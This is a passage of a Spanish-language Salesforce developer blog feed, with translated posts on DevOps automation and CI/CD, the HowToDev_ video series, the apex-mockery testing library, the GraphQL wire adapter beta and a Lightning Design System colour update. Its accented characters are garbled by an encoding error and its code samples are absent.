  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas s贸lidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicaci贸n, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de c贸digo para ayudarlo a comprender c贸mo puede usar la biblioteca para crear pruebas unitarias f谩ciles de entender y de ejecuci贸n r谩pida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atr谩s y analicemos algunos de los conceptos b谩sicos de las pruebas unitarias desde un punto de vista independiente de la tecnolog铆a. Luego, veremos Apex y discutiremos por qu茅 la mayor铆a de nosotros deber铆a escribir pruebas unitarias en lugar de pruebas de integraci贸n.

Las pruebas unitarias est谩n en la base de la pir谩mide de prueba.

La ingenier铆a de software abarca m煤ltiples tipos de pruebas: unidad, integraci贸n, servicio, interfaz de usuario funcional, de extremo a extremo, aceptaci贸n del usuario y m谩s. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto represent谩ndolos como una pir谩mide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aqu铆 es que las pruebas que se ejecutan r谩pido y con frecuencia deben estar en la parte inferior de la pir谩mide. Estos son los m谩s f谩ciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan m谩s lentamente y se vuelven m谩s dif铆ciles de implementar y mantener.

En el contexto de esta publicaci贸n y en aras de la brevedad, nos centraremos 煤nicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definici贸n, las pruebas unitarias est谩n destinadas a probar la menor cantidad de c贸digo (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la l贸gica pura y estar completamente desvinculadas de sus dependencias (otras clases) y l铆mites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse r谩pido; no requieren una configuraci贸n de prueba particular, como la inserci贸n de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integraci贸n

Apex se beneficia de una estrecha integraci贸n con la Plataforma de Salesforce y, si bien esta caracter铆stica es excelente para cosas como acceder r谩pida y f谩cilmente a la base de datos, difumina las l铆neas de separaci贸n de preocupaciones entre la l贸gica y los servicios. Como consecuencia, es muy f谩cil escribir pruebas de integraci贸n de Apex en lugar de pruebas unitarias. Por ejemplo, el c贸digo de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integraci贸n ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren m谩s tiempo para ejecutarse que las pruebas unitarias "puras".

Como comparti贸 Mitch Spano en su presentaci贸n de pruebas unitarias puras de Apex , la mayor铆a de las veces, no es necesario confiar en las pruebas de integraci贸n para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicaci贸n. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creaci贸n de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del 谩pice

Como parte del trabajo de ingenier铆a de Salesforce, est谩bamos desarrollando un paquete administrado internamente y necesit谩bamos una biblioteca para escribir pruebas unitarias. Quer铆amos escribir pasos simples de "arreglar" (como en el patr贸n Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca f谩cil de leer y bien probada que pudi茅ramos usar para crear nuestro producto, pero no encontramos una combinaci贸n perfecta, por lo que decidimos escribir la nuestra. Est谩bamos tan contentos con la implementaci贸n final de la biblioteca que decidimos lanzarla como c贸digo abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulaci贸n simple, liviana y f谩cil de leer para Apex creada con la API Stub. La biblioteca est谩 dise帽ada para que sea f谩cil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y ap茅ndices, configurar esp铆as y escribir aserciones.

Lo guiaremos a trav茅s de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos pr谩cticos. Luego, le mostraremos c贸mo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y esp铆as de m茅todos.
  2. M茅todos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panader铆a y entrega

Considere el siguiente escenario de ejemplo: una panader铆a toma pedidos de pasteler铆a y planifica las entregas utilizando un servicio dedicado. Los 煤nicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuaci贸n se muestra la implementaci贸n b谩sica de nuestro escenario de panader铆a (el c贸digo completo est谩 disponible en el repositorio del proyecto ).

Pasteler铆a.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmaci贸n de pedido.cls

Panader铆a.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a c贸mo podr铆amos escribir pruebas para el m茅todo Bakery.order .

Paso 1: crea simulacros y esp铆as de m茅todos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producci贸n, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probar谩 unitariamente por s铆 solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

As铆 es como puede crear e inyectar f谩cilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un esp铆a, para que pueda controlar el comportamiento del m茅todo planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un esp铆a en su m茅todo planDelivery , veamos c贸mo puede configurar su esp铆a y ejecutar aserciones en 茅l.

Paso 2: m茅todos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar c贸mo se comportan sus m茅todos controlando sus valores de retorno y lanzando excepciones.

Utilice los m茅todos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los m茅todos auxiliares. Luego, si es necesario, usa una combinaci贸n de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos espec铆ficos a las llamadas a m茅todos que coincidan con los argumentos especificados.

Durante la ejecuci贸n de la prueba, apex-mockery comienza buscando una coincidencia en la configuraci贸n proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuraci贸n predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuraci贸n de stubs (ver m谩s recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepci贸n cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento espec铆fico
  • Lanza una excepci贸n cuando se llama con un argumento espec铆fico

Ahora que sabe c贸mo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su c贸digo.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendr谩 acceso a varios m茅todos de afirmaci贸n. La biblioteca viene con una serie de afirmaciones de comportamiento f谩ciles de usar, como:

Si los comparadores de argumentos b谩sicos no son suficientes para sus necesidades, tambi茅n puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el m茅todo Bakery.order . Observe c贸mo puede usar aserciones de burla de Apex, junto con las aserciones est谩ndar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendi贸 c贸mo las pruebas unitarias desacopladas son m谩s f谩ciles de escribir y ejecutar mucho m谩s r谩pido. Tener pruebas r谩pidas acorta el ciclo de retroalimentaci贸n del ciclo de vida del desarrollo, reduce la duraci贸n de la ejecuci贸n del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando as铆 la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta direcci贸n. Consulte el repositorio del proyecto para comenzar. Encontrar谩 la documentaci贸n de la biblioteca con las opciones de instrucciones de instalaci贸n (instalaci贸n de fuente o paquete desbloqueado), algunas recetas de muestra y una gu铆a de migraci贸n. 隆Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empuj贸 el c贸digo a la producci贸n durante a帽os, disfruta eliminando m谩s l铆neas de c贸digo de las que agrega y prefiere la programaci贸n en pares sobre las revisiones de c贸digo y los productos de trabajo sobre el dise帽o perfecto. S铆galo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

S茅bastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en Par铆s, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Explore el adaptador de cable GraphQL, ahora en versi贸n beta 鈽侊笍

Explore el adaptador de cable GraphQL, ahora en versi贸n beta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore el adaptador de cable GraphQL, ahora en versi贸n beta | Blog de desarrolladores de Salesforce

隆Atenci贸n, desarrolladores de Salesforce! Hemos estado incursionando en GraphQL durante alg煤n tiempo y estamos llevando las cosas al siguiente nivel. Hace unos meses, anunciamos el lanzamiento piloto del adaptador de cable GraphQL. Mantenga sus soportes porque estamos implementando la versi贸n beta del adaptador de cable GraphQL de Salesforce en nuestro lanzamiento de verano '23. En este blog, exploraremos las novedades de la versi贸n Beta y c贸mo utilizar Recetas de LWC para crear f谩cilmente su aplicaci贸n Salesforce con la tecnolog铆a de GraphQL.

La versi贸n Beta del GraphQL Wire Adapter es un avance significativo en la gesti贸n de datos de Salesforce en LWC. Con la introducci贸n de nuevas funciones, como Recetas LWC, Actualizaci贸n de datos e Integridad referencial, el proceso de desarrollo se ha vuelto m谩s 谩gil y eficiente.

El adaptador de cable GraphQL permite consultar datos de Salesforce mediante consultas expresivas con funcionalidades como filtrado, clasificaci贸n, paginaci贸n y seguimiento de relaciones padre/hijo. Tambi茅n incluye una capa de gesti贸n de datos y almacenamiento en cach茅 del lado del cliente de Lightning Data Service. Estas funciones mejoran la eficiencia y la velocidad del acceso a los datos de Salesforce desde sus aplicaciones web y m贸viles de LWC.

El adaptador de cable GraphQL interact煤a con la API de Salesforce GraphQL, que expone todos los objetos est谩ndar y personalizados disponibles a trav茅s de la API de la interfaz de usuario, junto con los metadatos de los objetos. La API tambi茅n mantiene la seguridad a nivel de objeto y de campo del usuario actual durante la ejecuci贸n de la consulta.

Para familiarizarse con el esquema de la API de GraphQL, sugerimos revisar la documentaci贸n del esquema utilizando el cliente de Altair GraphQL . Las herramientas disponibles en este cliente facilitan la redacci贸n de su consulta GraphQL y su validaci贸n. Luego puede copiar y pegar su consulta directamente en su c贸digo JavaScript en Visual Studio Code.

Novedades en Beta:

  1. Recetas LWC: estos son componentes listos para usar que muestran varios casos de uso de GraphQL
  2. Actualizaci贸n de datos: un mecanismo para actualizar los datos devueltos por su consulta de GraphQL
  3. Integridad referencial: este mecanismo garantiza la coherencia de los datos y las referencias a los recursos de Salesforce, como entidades y campos, son s贸lidas.

Analicemos cada una de estas caracter铆sticas en detalle.

Recetas LWC

LWC Recipes es un repositorio de GitHub con una colecci贸n de ejemplos de c贸digo disponibles p煤blicamente para componentes web Lightning. Incluye tres recetas GraphQL para ayudarlo a comenzar r谩pidamente a crear su aplicaci贸n Salesforce con GraphQL.

El repositorio proporciona instrucciones sobre c贸mo configurar su entorno, crear su organizaci贸n de Salesforce, clonar el repositorio en su m谩quina local e implementar la aplicaci贸n en su organizaci贸n. El c贸digo fuente se puede importar directamente a su Visual Studio Code como un proyecto que puede personalizar seg煤n sus necesidades.

Una vez que implemente la aplicaci贸n Recetas de LWC en su organizaci贸n de Salesforce, es posible que vea los siguientes componentes mediante consultas de GraphQL.

Aqu铆 hay una descripci贸n general de los cuatro componentes de LWC que usan consultas GraphQL:

  • graphqlContacts : obtiene contactos que cumplen ciertos criterios, ordenados por nombre y limitados a los primeros cinco registros
  • graphqlVariables : captura la entrada del usuario en una barra de b煤squeda en una variable y compone una consulta para devolver contactos cuyo nombre coincide parcialmente con la cadena de entrada
  • graphqlRefresh : obtiene una cantidad de empleados en una cuenta y actualiza los datos al hacer clic en el usuario
  • graphqlPagination : Habilita la paginaci贸n a trav茅s de una lista de contactos

Dado que muchos de nuestros clientes preguntan sobre la paginaci贸n, profundicemos un poco m谩s. El adaptador de cable GraphQL es compatible con la paginaci贸n basada en cursores de GraphQL. Puede recorrer las p谩ginas de los resultados de su consulta y controlar la cantidad de resultados que desea obtener cada vez. Para especificar el n煤mero de registros a devolver, utilice el first argumento. El n煤mero predeterminado es 10.

Si hasNextPage es verdadero, puede proporcionar el valor de endCursor al argumento after de una consulta posterior para solicitar la siguiente p谩gina de resultados.

Aqu铆 hay una captura de pantalla de c贸mo podr铆a verse el proyecto Recetas de LWC en Visual Studio Code. Puede ver un c贸digo de ejemplo para la implementaci贸n de la paginaci贸n.

Actualizaci贸n de datos

En el mundo del desarrollo de aplicaciones, mostrar datos actualizados es fundamental para una buena experiencia de usuario y para generar confianza. Por lo tanto, en la versi贸n Beta del GraphQL Wire Adapter, presentamos la funci贸n refreshGraphQL .

Esta funci贸n permite a los desarrolladores activar manualmente una repetici贸n de la consulta. 驴El resultado? Una actualizaci贸n de los datos proporcionados por el adaptador de cable GraphQL, lo que garantiza que los usuarios siempre vean los datos m谩s actualizados.

Esta actualizaci贸n se puede activar a pedido, como un clic de bot贸n de un usuario o un evento de JavaScript espec铆fico. Esto significa que puede optimizar su aplicaci贸n para que se actualice solo cuando sea necesario, lo que proporciona una manera eficiente de mantener los datos actualizados y maximizar el rendimiento de la aplicaci贸n. En pocas palabras, la funci贸n refreshGraphQL ofrece un m茅todo amigable con el rendimiento para mantener los datos actualizados, mejorando la experiencia del usuario y aumentando la confiabilidad de la aplicaci贸n.

Aqu铆 hay un ejemplo de uso:

Consulte el componente graphqlRefresh en las recetas de LWC para ver otro ejemplo del uso de la funci贸n de actualizaci贸n de datos.

Integridad referencial

La versi贸n Beta del adaptador de cable GraphQL presenta integridad referencial. He aqu铆 una breve descripci贸n de sus beneficios e implicaciones.

Lightning Data Service (LDS), la capa de administraci贸n de datos del lado del cliente de Salesforce, mejora la eficiencia de la aplicaci贸n al permitir que los componentes compartan datos, reducir las llamadas al servidor y mantener la coherencia de los datos. Tambi茅n garantiza referencias s贸lidas a los recursos de Salesforce, propagando cambios de nombre y evitando eliminaciones cuando las referencias persisten.

En la versi贸n piloto del adaptador, requerimos el uso de directivas @category para ayudar a LDS a comprender el esquema de datos y normalizar sus datos de GraphQL.

Sin embargo, en la versi贸n Beta, estas directivas ya no se requieren manualmente. Si se usaron anteriormente, ahora se pueden eliminar de sus consultas de GraphQL. El compilador gestiona de forma aut贸noma estas directivas, agilizando su proceso de c贸digo y reduciendo posibles errores manuales.

驴Qu茅 sigue para GraphQL?

Recordatorio: Salesforce es una empresa que cotiza en bolsa y los clientes deben basar sus decisiones de compra en los productos y servicios que est谩n disponibles actualmente.

Estamos comprometidos a continuar invirtiendo en GraphQL. Esto es lo que puede esperar en los pr贸ximos lanzamientos (se aplica la declaraci贸n prospectiva):

Invierno '24:

  • Adaptador de cable GraphQL (GA)
  • Compatibilidad con mutaciones en la API de GraphQL
  • Compatibilidad con consultas agregadas en GraphQL Adapter
  • Capacidad de consulta de tareas y eventos en GraphQL API (Beta)

Primavera 24 y m谩s all谩:

  • Compatibilidad con mutaciones en GraphQL Adapter
  • Funciones avanzadas de paginaci贸n
  • Soporte de campos opcionales

Recursos para desarrolladores

Sobre el Autor

Suvda Myagmar es directora de gesti贸n de productos en Salesforce y le apasionan las plataformas de datos e IA. Le encantan las carreras largas mientras escucha audiolibros.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Preparando tu aplicaci贸n para la actualizaci贸n de color del Lightning Design System 鈽侊笍

Preparando tu aplicaci贸n para la actualizaci贸n de color del Lightning Design System 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Preparaci贸n de su aplicaci贸n para la actualizaci贸n de color de Lightning Design System | Blog de desarrolladores de Salesforce

En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminaci贸n para que sean m谩s accesibles para las personas con baja visi贸n y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un est谩ndar de accesibilidad moderno requerido por numerosos 贸rganos de gobierno de todo el mundo.

Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de dise帽o, ganchos de estilo e 铆conos. Estos cambios no solo aparecer谩n en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que tambi茅n aparecer谩n en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.

Para obtener m谩s detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administraci贸n y noticias de Salesforce.

驴Cu谩l es el motivo de la actualizaci贸n?

